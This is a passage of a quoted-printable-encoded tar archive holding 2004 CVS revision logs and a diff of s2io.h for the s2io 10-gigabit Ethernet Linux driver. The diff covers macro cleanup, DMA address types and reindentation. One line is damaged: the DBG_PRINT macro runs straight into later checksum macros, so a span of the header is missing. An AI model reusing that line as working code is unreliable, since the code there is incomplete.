17:48:02 aravi=0A= + *Bug: 669=0A= + *A comment embedded inside a comment was causing compilation failure.=0A= + *Fixed this.=0A= + *=0A= + *Revision 1.100 2004/02/11 03:00:06 aravi=0A= + *Bug: 669=0A= + *The source is modified to reflect the suggested changes with the bug = 669.=0A= + *A few comments which are not incorporated:=0A= + * *) // Enable DTX_Control registers.=0A= + * write64(&bar0->dtx_control,0x8000051500000000);=0A= + * udelay(50);=0A= + *=0A= + * -> this is a loop in disguise.=0A= + * *)=0A= + * if(skb =3D=3D NULL) {=0A= + * DBG_PRINT(ERR_DBG,"%s: NULL skb = ",dev->name);=0A= + * DBG_PRINT(ERR_DBG,"in Tx Int\n");=0A= + * spin_unlock(&nic->tx_lock);=0A= + *=0A= + * -> just goto to the normal spin_unlock and avoid an=0A= + *extra return=0A= + * *) #ifdef AS_A_MODULE=0A= + * MODULE_AUTHOR("Raghavendra Koushik = ");=0A= + * MODULE_LICENSE("GPL"); MODULE_PARM(ring_num, "1-"=0A= + *__MODULE_STRING(1) "i");=0A= + *=0A= + *Revision 1.99 2004/02/10 11:58:35 rkoushik=0A= + *Bug: 668=0A= + *Eliminated usage of self declared type 'dmaaddr_t' and also=0A= + *eliminated the usage of PPC64_ARCH macro which was prevalent in the = older code.=0A= + *Further details in the bug.=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.98 2004/02/09 10:31:34 rkoushik=0A= + *Bug: 656=0A= + * Made the changes suggested in Bug # 656.=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.97 2004/02/07 02:16:17 gkotlyar=0A= + *Bug: 682=0A= + *OST and MMRBC fields of the PCI-X command registerd were overwritten=0A= + *whenever we called s2io_reset(). In addition, we did not initialiaze = the OST bits before writing into it.=0A= + *=0A= + *Revision 1.96 2004/02/05 06:08:21 rkoushik=0A= + *Bug: 693=0A= + *Added stop_queue & wake_queue in s2io_link and the watchdog timer=0A= + *resets Nic only if the Link state is up. Details mentioned in Bug # = 693.=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.95 2004/02/04 04:52:35 rkoushik=0A= + *Bug: 667=0A= + * Indented the code using indent utility. Details of the options=0A= + *used are specified in bug # 667=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.94 2004/02/02 12:03:32 rkoushik=0A= + *Bug: 643=0A= + *The tx_pkt_ptr variable has been removed. Tx watchdog function now = does=0A= + *a s2io_close followed by s2io_open calls to reset and re-initialise = NIC.=0A= + *The Tx Intr scheme is made dependednt on the size of the Progammed = FIFOs.=0A= + *=0A= + *-Koushik=0A= + *=0A= + *Revision 1.93 2004/01/29 05:41:24 rkoushik=0A= + *Bug: 657=0A= + *Loop back test is being removed from the driver as one of ethtool's = test=0A= + *option.=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.92 2004/01/29 04:01:48 aravi=0A= + *Bug: 639=0A= + *Added code for activity and Link LED=0A= + *=0A= + *Revision 1.91 2004/01/28 05:57:36 rkoushik=0A= + *Bug: 603=0A= + * The Fix is under a #if 1 macro in the txIntrHandler function.=0A= + *Please verify using nttcp stress tests for long duration and confirm = if=0A= + *the fix works on all platforms. If it does I will rid the #if macro=0A= + *and make it part of the mainstream code.=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.90 2004/01/28 05:39:07 rkoushik=0A= + *Bug: 520=0A= + * The s2io_set_multicast function was corrected.=0A= + *The Mac_cfg register was not being written after writing into its key = register=0A= + *hence the NIC was not going into promiscous mode. Also to set = All_Multi mode=0A= + *the RMAC's data0 and data1 registers were being incorrectly written.=0A= + *Both mistakes were rectified.=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.89 2004/01/23 12:08:29 rkoushik=0A= + *Bug: 549=0A= + *Added the beacon feature for new celestica cards using GPIO.=0A= + *test it out using the ethtool utility on both=0A= + *the new and old cards in both Link Up and Down states.=0A= + *=0A= + *Koushik=0A= + *=0A= *Revision 1.88 2004/01/19 21:12:44 aravi=0A= *Bug: 599=0A= *Got rid of compilation error due to variable declaration after = assignment.=0A= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00s2io.h.pat= ch=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=000100644=000000000=000000000=000= 0000114200=0010013276510=00011671=00 = 0=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = =00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00--- = prevsub/s2io.h Fri Feb 13 17:33:27 2004=0A= +++ 0213/s2io.h Fri Feb 13 17:19:43 2004=0A= @@ -13,11 +13,9 @@=0A= #ifndef _S2IO_H=0A= #define _S2IO_H=0A= =0A= -#if defined(CONFIG_IA64) || defined(CONFIG_ALPHA) || = defined(CONFIG_X86_64)=0A= +#if defined(CONFIG_IA64) || defined(CONFIG_ALPHA) || = defined(CONFIG_X86_64) \=0A= +|| defined(CONFIG_PPC64)=0A= #define XENA_ARCH_64=0A= -#elif defined(CONFIG_PPC32) || defined(CONFIG_PPC64)=0A= -#define XENA_ARCH_64=0A= -#define ARCH_PPC64=0A= #endif=0A= =0A= #if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= @@ -26,7 +24,7 @@=0A= =0A= #define CONFIGURE_ETHTOOL_SUPPORT=0A= //#define CONFIGURE_NAPI_SUPPORT=0A= -//#define CONFIGURE_EXTENDED_ERROR_HANDLING=0A= +//#define CONFIGURE_EXTENDED_ERROR_HANDLING=0A= =0A= #define TBD 0=0A= #define BIT(loc) (((u64)0x8000000000000000) >> loc)=0A= @@ -36,12 +34,6 @@=0A= #define ETH_ALEN 6=0A= #endif=0A= =0A= -#ifdef ARCH_PPC64=0A= - typedef u64 dmaaddr_t;=0A= -#else=0A= - typedef dma_addr_t dmaaddr_t;=0A= -#endif=0A= -=0A= #ifndef BOOL=0A= #define BOOL int=0A= #endif=0A= @@ -51,27 +43,27 @@=0A= #define FALSE 0=0A= #endif=0A= =0A= -#undef SUCCESS =0A= +#undef SUCCESS=0A= #define SUCCESS 0=0A= #define FAILURE -1=0A= =0A= /* Maximum outstanding splits to be configured into xena. */=0A= typedef enum xena_max_outstanding_splits {=0A= - XENA_ONE_SPLIT_TRANSACTION =3D 0,=0A= - XENA_TWO_SPLIT_TRANSACTION =3D 1,=0A= - XENA_THREE_SPLIT_TRANSACTION =3D 2,=0A= - XENA_FOUR_SPLIT_TRANSACTION =3D 3,=0A= - XENA_EIGHT_SPLIT_TRANSACTION =3D 4,=0A= - XENA_TWELVE_SPLIT_TRANSACTION =3D 5,=0A= - XENA_SIXTEEN_SPLIT_TRANSACTION =3D 6,=0A= - XENA_THIRTYTWO_SPLIT_TRANSACTION =3D 7=0A= -}xena_max_outstanding_splits;=0A= -#define XENA_MAX_OUTSTANDING_SPLITS(n) n << 4=0A= + XENA_ONE_SPLIT_TRANSACTION =3D 0,=0A= + XENA_TWO_SPLIT_TRANSACTION =3D 1,=0A= + XENA_THREE_SPLIT_TRANSACTION =3D 2,=0A= + XENA_FOUR_SPLIT_TRANSACTION =3D 3,=0A= + XENA_EIGHT_SPLIT_TRANSACTION =3D 4,=0A= + XENA_TWELVE_SPLIT_TRANSACTION =3D 5,=0A= + XENA_SIXTEEN_SPLIT_TRANSACTION =3D 6,=0A= + XENA_THIRTYTWO_SPLIT_TRANSACTION =3D 7=0A= +} xena_max_outstanding_splits;=0A= +#define XENA_MAX_OUTSTANDING_SPLITS(n) (n << 4)=0A= =0A= /* OS concerned variables and constants */=0A= #define WATCH_DOG_TIMEOUT 5*HZ=0A= #define EFILL 0x1234=0A= -#define ALIGN_SIZE 127 =0A= +#define ALIGN_SIZE 127=0A= #define PCIX_COMMAND_REGISTER 0x62=0A= =0A= #ifndef SUPPORTED_10000baseT_Full=0A= @@ -91,7 +83,7 @@ typedef enum xena_max_outstanding_splits=0A= #define INTR_DBG 4=0A= =0A= /* Global variable that defines the present debug level of the driver. = */=0A= -int debug_level =3D ERR_DBG; /* Default level. */=0A= +int debug_level =3D ERR_DBG; /* Default level. */=0A= =0A= /* DEBUG message print. */=0A= #define DBG_PRINT(dbg_level, args...) if(!(debug_level> 16) & 0xFFFF)=0A= #define RXD_GET_L4_CKSUM(val) ((u16)(val) & 0xFFFF)=0A= =0A= - u64 Control_2;=0A= + u64 Control_2;=0A= #define MASK_BUFFER0_SIZE vBIT(0xFFFF,0,16)=0A= #define SET_BUFFER0_SIZE(val) vBIT(val,0,16)=0A= #define MASK_VLAN_TAG vBIT(0xFFFF,48,16)=0A= @@ -565,33 +548,24 @@ typedef struct _RxD_t=0A= #define TXD_GET_BUFFER1_SIZE(Control_2) (u16)((Control_2 & = MASK_BUFFER1_SIZE) >> (63-31)) =0A= #define TXD_GET_BUFFER2_SIZE(Control_2) (u16)((Control_2 & = MASK_BUFFER2_SIZE) >> (63-47)) =0A= */=0A= - dmaaddr_t Buffer0_ptr;=0A= -#ifndef XENA_ARCH_64=0A= - u32 dummy;=0A= -#endif=0A= + u64 Buffer0_ptr;=0A= } RxD_t;=0A= =0A= =0A= /* Structure that represents the Rx descriptor block which contains =0A= * 128 Rx descriptors.=0A= */=0A= -typedef struct _RxD_block=0A= -{=0A= +typedef struct _RxD_block {=0A= #define MAX_RXDS_PER_BLOCK 127=0A= - RxD_t rxd[MAX_RXDS_PER_BLOCK];=0A= -#define NONZERO 0x12345678=0A= - u64 reserved_0; =0A= - =0A= -#define END_OF_BLOCK 0xFEFFFFFFFFFFFF7F=0A= -//#define END_OF_BLOCK 0xFFFFFFFFFFFFFF7F=0A= - u64 reserved_1; /* 0xFFFFFFFFFFFFFFFF to mark last Rxd in this = blk*/=0A= - RxD_t* reserved_2_pNext_RxD_block;/*@ 0xFF0: Cntl_2, Logical ptr = to next*/=0A= -#ifndef XENA_ARCH_64=0A= - u32 dummy;=0A= -#endif=0A= - u64 pNext_RxD_Blk_physical; /* Buff0_ptr.=0A= - In a 32 bit arch the upper 32 = bits =0A= - should be 0 */=0A= + RxD_t rxd[MAX_RXDS_PER_BLOCK];=0A= +=0A= + u64 reserved_0;=0A= +#define END_OF_BLOCK 0xFEFFFFFFFFFFFFFF=0A= + u64 reserved_1; /* 0xFEFFFFFFFFFFFFFF to mark last Rxd in this blk */=0A= + u64 reserved_2_pNext_RxD_block; /*@ Logical ptr to next */=0A= + u64 pNext_RxD_Blk_physical; /* Buff0_ptr.=0A= + In a 32 bit arch the upper 32 bits =0A= + should be 0 */=0A= } RxD_block_t;=0A= =0A= /* Structure which stores all the MAC control parameters */=0A= @@ -601,151 +575,152 @@ typedef struct _RxD_block=0A= * up the RxDs for processing.=0A= */=0A= typedef struct _rx_curr_get_info_t {=0A= - u32 block_index;=0A= - u32 offset;=0A= - u32 ring_len;=0A= + u32 block_index;=0A= + u32 offset;=0A= + u32 ring_len;=0A= } rx_curr_get_info_t;=0A= =0A= -typedef rx_curr_get_info_t rx_curr_put_info_t;=0A= - =0A= +typedef rx_curr_get_info_t rx_curr_put_info_t;=0A= +=0A= /* This structure stores the offset of the TxDl in the FIFO=0A= * from which the Tx Interrupt processor can start picking =0A= * up the TxDLs for send complete interrupt processing.=0A= */=0A= typedef struct {=0A= - u32 offset; =0A= - u32 fifo_len;=0A= + u32 offset;=0A= + u32 fifo_len;=0A= } tx_curr_get_info_t;=0A= =0A= -typedef tx_curr_get_info_t tx_curr_put_info_t;=0A= +typedef tx_curr_get_info_t tx_curr_put_info_t;=0A= =0A= /* Infomation related to the Tx and Rx FIFOs and Rings of Xena=0A= * is maintained in this structure.=0A= */=0A= typedef struct mac_info {=0A= /* rx side stuff */=0A= - void* rxd_ring_mem; /* orignal pointer to allocated mem */=0A= - dmaaddr_t rxd_ring_mem_phy;=0A= - u32 rxd_ring_mem_sz;=0A= -=0A= - RxD_t* RxRing[MAX_RX_RINGS]; /* Logical Rx ring pointers */=0A= - dmaaddr_t RxRing_Phy[MAX_RX_RINGS];=0A= -=0A= - rx_curr_put_info_t rx_curr_put_info[MAX_RX_RINGS]; /* comments = here */ =0A= - rx_curr_get_info_t rx_curr_get_info[MAX_RX_RINGS]; /* comments = here */ =0A= -=0A= - u16 rmac_pause_time; =0A= -=0A= - /* this will be used in receive function, this decides which ring = would=0A= - be processed first. eg: ring with priority value 0 (highest) = should=0A= - be processed first. =0A= - =0A= - first 3 LSB bits represent ring number which should be = processed first,=0A= - similarly next 3 bits represent next ring to be processed.=0A= - eg: value of _rx_ring_pri_map =3D 0x0000 003A means =0A= - ring #2 would be processed first and #7 would be processed = next=0A= - */=0A= - u32 _rx_ring_pri_map;=0A= - =0A= + u32 rxd_ring_mem_sz;=0A= + RxD_t *RxRing[MAX_RX_RINGS]; /* Logical Rx ring pointers */=0A= + dma_addr_t RxRing_Phy[MAX_RX_RINGS];=0A= +=0A= + /* Put pointer info which indictes which RxD has to be replenished =0A= + * with a new buffer.=0A= + */=0A= + rx_curr_put_info_t rx_curr_put_info[MAX_RX_RINGS];=0A= +=0A= + /* Get pointer info which indictes which is the last RxD that was =0A= + * processed by the driver.=0A= + */=0A= + rx_curr_get_info_t rx_curr_get_info[MAX_RX_RINGS];=0A= +=0A= + u16 rmac_pause_time;=0A= +=0A= + /* this will be used in receive function, this decides which ring would=0A= + be processed first. eg: ring with priority value 0 (highest) should=0A= + be processed first. =0A= + first 3 LSB bits represent ring number which should be processed =0A= + first, similarly next 3 bits represent next ring to be processed.=0A= + eg: value of _rx_ring_pri_map =3D 0x0000 003A means =0A= + ring #2 would be processed first and #7 would be processed next=0A= + */=0A= + u32 _rx_ring_pri_map;=0A= +=0A= /* tx side stuff */=0A= - void* txd_list_mem; /* orignal pointer to allocated mem */=0A= - dmaaddr_t txd_list_mem_phy;=0A= - u32 txd_list_mem_sz;=0A= -=0A= - /* logical pointer of start of each Tx FIFO */=0A= - TxFIFO_element_t* tx_FIFO_start[MAX_TX_FIFOS]; =0A= -=0A= - /* logical pointer of start of TxDL which corresponds to each Tx = FIFO */=0A= - TxD_t* txdl_start[MAX_TX_FIFOS];=0A= -=0A= - /* Same as txdl_start but phy addr*/ = =0A= - dmaaddr_t txdl_start_phy[MAX_TX_FIFOS]; =0A= -=0A= -/* Current offset within tx_FIFO_start, where driver would write new Tx = frame*/ =0A= - tx_curr_put_info_t tx_curr_put_info[MAX_TX_FIFOS]; =0A= - tx_curr_get_info_t tx_curr_get_info[MAX_TX_FIFOS]; =0A= -=0A= - u16 txdl_len; /* length of a TxDL, same for all*/=0A= -=0A= - void* stats_mem; /* orignal pointer to allocated mem */=0A= - dmaaddr_t stats_mem_phy;=0A= - u32 stats_mem_sz;=0A= - StatInfo_t *StatsInfo; /* Logical address of the stat block */=0A= - dmaaddr_t StatsInfoPhy; /* Physical address of the stat block */=0A= + void *txd_list_mem; /* orignal pointer to allocated mem */=0A= + dma_addr_t txd_list_mem_phy;=0A= + u32 txd_list_mem_sz;=0A= +=0A= + /* logical pointer of start of each Tx FIFO */=0A= + TxFIFO_element_t *tx_FIFO_start[MAX_TX_FIFOS];=0A= +=0A= + /* logical pointer of start of TxDL which corresponds to each Tx FIFO = */=0A= + TxD_t *txdl_start[MAX_TX_FIFOS];=0A= +=0A= + /* Same as txdl_start but phy addr */=0A= + dma_addr_t txdl_start_phy[MAX_TX_FIFOS];=0A= +=0A= +/* Current offset within tx_FIFO_start, where driver would write new Tx = frame*/=0A= + tx_curr_put_info_t tx_curr_put_info[MAX_TX_FIFOS];=0A= + tx_curr_get_info_t tx_curr_get_info[MAX_TX_FIFOS];=0A= +=0A= + u16 txdl_len; /* length of a TxDL, same for all */=0A= +=0A= + void *stats_mem; /* orignal pointer to allocated mem */=0A= + dma_addr_t stats_mem_phy; /* Physical address of the stat block */=0A= + u32 stats_mem_sz;=0A= + StatInfo_t *StatsInfo; /* Logical address of the stat block */=0A= } mac_info_t;=0A= =0A= /* structure representing the user defined MAC addresses */=0A= typedef struct {=0A= - char addr[ETH_ALEN];=0A= - int usage_cnt;=0A= -}usr_addr_t;=0A= + char addr[ETH_ALEN];=0A= + int usage_cnt;=0A= +} usr_addr_t;=0A= =0A= /* Structure that holds the Phy and virt addresses of the Blocks */=0A= -typedef struct rx_block_info=0A= -{=0A= - RxD_t *block_virt_addr;=0A= - u64 block_dma_addr;=0A= -}rx_block_info_t;=0A= +typedef struct rx_block_info {=0A= + RxD_t *block_virt_addr;=0A= + dma_addr_t block_dma_addr;=0A= +} rx_block_info_t;=0A= =0A= /* Structure representing one instance of the NIC */=0A= typedef struct s2io_nic {=0A= #define MAX_MAC_SUPPORTED 16=0A= #define MAX_SUPPORTED_MULTICASTS MAX_MAC_SUPPORTED=0A= =0A= - macaddr_t defMacAddr[MAX_MAC_SUPPORTED];=0A= - macaddr_t preMacAddr[MAX_MAC_SUPPORTED];=0A= + macaddr_t defMacAddr[MAX_MAC_SUPPORTED];=0A= + macaddr_t preMacAddr[MAX_MAC_SUPPORTED];=0A= =0A= - struct net_device_stats stats;=0A= - caddr_t bar0;=0A= - caddr_t bar1;=0A= - struct config_param config;=0A= - mac_info_t mac_control;=0A= - u32 _fResource; /* Tracks resources alloced */=0A= - int high_dma_flag;=0A= - int device_close_flag;=0A= - int device_enabled_once;=0A= -=0A= - char name[32]; =0A= - struct tasklet_struct task;=0A= - atomic_t tasklet_status;=0A= - struct timer_list timer;=0A= - struct net_device *dev;=0A= - struct pci_dev *pdev;=0A= -=0A= - u16 vendor_id;=0A= - u16 device_id;=0A= - u16 ccmd;=0A= - u32 cbar0_1;=0A= - u32 cbar0_2;=0A= - u32 cbar1_1;=0A= - u32 cbar1_2;=0A= + struct net_device_stats stats;=0A= + caddr_t bar0;=0A= + caddr_t bar1;=0A= + struct config_param config;=0A= + mac_info_t mac_control;=0A= + u32 _fResource; /* Tracks resources alloced */=0A= + int high_dma_flag;=0A= + int device_close_flag;=0A= + int device_enabled_once;=0A= +=0A= + char name[32];=0A= + struct tasklet_struct task;=0A= + atomic_t tasklet_status;=0A= + struct timer_list timer;=0A= + struct net_device *dev;=0A= + struct pci_dev *pdev;=0A= +=0A= + u16 vendor_id;=0A= + u16 device_id;=0A= + u16 ccmd;=0A= + u32 cbar0_1;=0A= + u32 cbar0_2;=0A= + u32 cbar1_1;=0A= + u32 cbar1_2;=0A= u32 cirq;=0A= - u8 cache_line;=0A= - u32 rom_expansion;=0A= - u16 pcix_cmd;=0A= - u32 config_space[256/sizeof(u32)];=0A= - u32 irq;=0A= - atomic_t rx_bufs_left[MAX_RX_RINGS];=0A= + u8 cache_line;=0A= + u32 rom_expansion;=0A= + u16 pcix_cmd;=0A= + u32 config_space[256 / sizeof(u32)];=0A= + u32 irq;=0A= + atomic_t rx_bufs_left[MAX_RX_RINGS];=0A= =0A= spinlock_t isr_lock;=0A= spinlock_t tx_lock;=0A= =0A= #define PROMISC 1=0A= #define ALL_MULTI 2=0A= - =0A= +=0A= #define MAX_ADDRS_SUPPORTED 64=0A= - u16 usr_addr_count;=0A= - u16 mc_addr_count;=0A= - usr_addr_t usr_addrs[MAX_ADDRS_SUPPORTED];=0A= - =0A= - u16 m_cast_flg;=0A= - u16 all_multi_pos;=0A= - u16 promisc_flg;=0A= - =0A= - u16 tx_pkt_count;=0A= - u16 rx_pkt_count;=0A= - u16 tx_err_count;=0A= - u16 rx_err_count;=0A= + u16 usr_addr_count;=0A= + u16 mc_addr_count;=0A= + usr_addr_t usr_addrs[MAX_ADDRS_SUPPORTED];=0A= +=0A= + u16 m_cast_flg;=0A= + u16 all_multi_pos;=0A= + u16 promisc_flg;=0A= +=0A= + u16 tx_pkt_count;=0A= + u16 rx_pkt_count;=0A= + u16 tx_err_count;=0A= + u16 rx_err_count;=0A= =0A= #if DEBUG_ON=0A= u64 rxpkt_bytes;=0A= @@ -758,24 +733,17 @@ typedef struct s2io_nic {=0A= =0A= /* Place holders for the virtual and physical addresses of all the=0A= * Rx Blocks */=0A= - struct rx_block_info = rx_blocks[MAX_RX_RINGS][MAX_RX_BLOCKS_PER_RING];=0A= - int block_count[MAX_RX_RINGS];=0A= - int pkt_cnt[MAX_RX_RINGS];=0A= -/* =0A= - Pointer to the last buffer that could not be Tx'ed before stopping = the =0A= - Tx Queue=0A= -*/=0A= - void *tx_pkt_ptr;=0A= + struct rx_block_info=0A= + rx_blocks[MAX_RX_RINGS][MAX_RX_BLOCKS_PER_RING];=0A= + int block_count[MAX_RX_RINGS];=0A= + int pkt_cnt[MAX_RX_RINGS];=0A= =0A= /* Id timer, used to blink adapter to physically identify NIC. */=0A= struct timer_list id_timer;=0A= =0A= /* after blink, the adapter must be restored with original values. */=0A= - u64 adapt_ctrl_org;=0A= -=0A= -/* Pkt counter for loop back frames.*/=0A= - int loop_pkt_cnt;=0A= -}nic_t; // __cacheline_aligned;=0A= + u64 adapt_ctrl_org;=0A= +} nic_t; // __cacheline_aligned;=0A= =0A= #define RESET_ERROR 1;=0A= #define CMD_ERROR 2;=0A= @@ -783,19 +751,19 @@ typedef struct s2io_nic {=0A= /* Default Tunable parameters of the NIC. */=0A= #define DEFAULT_FIFO_LEN 4096=0A= #define SMALL_RXD_CNT 10 * (MAX_RXDS_PER_BLOCK+1)=0A= -#define LARGE_RXD_CNT 150 * (MAX_RXDS_PER_BLOCK+1)=0A= +#define LARGE_RXD_CNT 100 * (MAX_RXDS_PER_BLOCK+1)=0A= =0A= /* OS related system calls */=0A= =0A= -#if ! defined ( XENA_ARCH_64 ) || defined ( ARCH_PPC64 )=0A= +#ifndef readq=0A= static inline u64 read64(void *addr)=0A= {=0A= - u64 ret =3D 0;=0A= - ret =3D readl(addr+4);=0A= - (u64)ret <<=3D 32;=0A= - (u64)ret |=3D readl(addr);=0A= + u64 ret =3D 0;=0A= + ret =3D readl(addr + 4);=0A= + (u64) ret <<=3D 32;=0A= + (u64) ret |=3D readl(addr);=0A= =0A= - return ret;=0A= + return ret;=0A= }=0A= #else=0A= static inline u64 read64(void *addr)=0A= @@ -808,11 +776,11 @@ static inline u64 read64(void *addr)=0A= #define read16(addr, ret) ret =3D readw(addr);=0A= #define read8(addr, ret) ret =3D readb(addr);=0A= =0A= -#if ! defined ( XENA_ARCH_64 ) || defined ( ARCH_PPC64 )=0A= +#ifndef writeq=0A= static inline void write64(void *addr, u64 val)=0A= {=0A= - writel((u32)(val), addr);=0A= - writel((u32)(val >>32), (addr+4));=0A= + writel((u32) (val), addr);=0A= + writel((u32) (val >> 32), (addr + 4));=0A= }=0A= #else=0A= #define write64(addr, ret) writeq(ret,(void *)addr)=0A= @@ -829,14 +797,14 @@ static inline void write64(void *addr, u=0A= /* Highest level interrupt blocks */=0A= #define TX_PIC_INTR (0x0001<<0)=0A= #define TX_DMA_INTR (0x0001<<1)=0A= -#define TX_MAC_INTR (0x0001<<2) =0A= -#define TX_XGXS_INTR (0x0001<<3) =0A= -#define TX_TRAFFIC_INTR (0x0001<<4) =0A= -#define RX_PIC_INTR (0x0001<<5) =0A= -#define RX_DMA_INTR (0x0001<<6) =0A= -#define RX_MAC_INTR (0x0001<<7) =0A= -#define RX_XGXS_INTR (0x0001<<8) =0A= -#define RX_TRAFFIC_INTR (0x0001<<9) =0A= +#define TX_MAC_INTR (0x0001<<2)=0A= +#define TX_XGXS_INTR (0x0001<<3)=0A= +#define TX_TRAFFIC_INTR (0x0001<<4)=0A= +#define RX_PIC_INTR (0x0001<<5)=0A= +#define RX_DMA_INTR (0x0001<<6)=0A= +#define RX_MAC_INTR (0x0001<<7)=0A= +#define RX_XGXS_INTR (0x0001<<8)=0A= +#define RX_TRAFFIC_INTR (0x0001<<9)=0A= #define MC_INTR (0x0001<<10)=0A= #define ENA_ALL_INTRS ( TX_PIC_INTR | \=0A= TX_DMA_INTR | \=0A= @@ -870,11 +838,45 @@ static inline void write64(void *addr, u=0A= /* DMA level Inressupts */=0A= #define TXDMA_PFC_INT_M BIT(0)=0A= /* PFC block interrupts */=0A= -#define PFC_MISC_ERR_1 BIT(0) /* Interrupt to indicate FIFO full */=0A= +#define PFC_MISC_ERR_1 BIT(0) /* Interrupt to indicate FIFO full */=0A= =0A= -#endif /* _S2IO_H */=0A= +#endif /* _S2IO_H */=0A= /*=0A= *$Log: s2io.h,v $=0A= + *Revision 1.58 2004/02/10 11:58:42 rkoushik=0A= + *Bug: 668=0A= + *Eliminated usage of self declared type 'dmaaddr_t' and also=0A= + *eliminated the usage of PPC64_ARCH macro which was prevalent in the = older code.=0A= + *Further details in the bug.=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.57 2004/02/07 02:17:08 gkotlyar=0A= + *Bug: 682=0A= + *Parenthesis in the OST macro.=0A= + *=0A= + *Revision 1.56 2004/02/04 04:52:45 rkoushik=0A= + *Bug: 667=0A= + * Indented the code using indent utility. Details of the options=0A= + *used are specified in bug # 667=0A= + *=0A= + *Koushik=0A= + *=0A= + *Revision 1.55 2004/02/02 12:03:42 rkoushik=0A= + *Bug: 643=0A= + *The tx_pkt_ptr variable has been removed. Tx watchdog function now = does=0A= + *a s2io_close followed by s2io_open calls to reset and re-initialise = NIC.=0A= + *The Tx Intr scheme is made dependednt on the size of the Progammed = FIFOs.=0A= + *=0A= + *-Koushik=0A= + *=0A= + *Revision 1.54 2004/01/29 05:41:41 rkoushik=0A= + *Bug: 657=0A= + *Loop back test is being removed from the driver as one of ethtool's = test=0A= + *option.=0A= + *=0A= + *Koushik=0A= + *=0A= *Revision 1.53 2004/01/20 05:16:01 rkoushik=0A= *Bug: 397=0A= *TSO is enabled by default if supported by Kernel.=0A= @@ -919,4 +921,3 @@ static inline void write64(void *addr, u=0A= *Enabling Logs in source code=0A= *=0A= */=0A= -=0A= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= 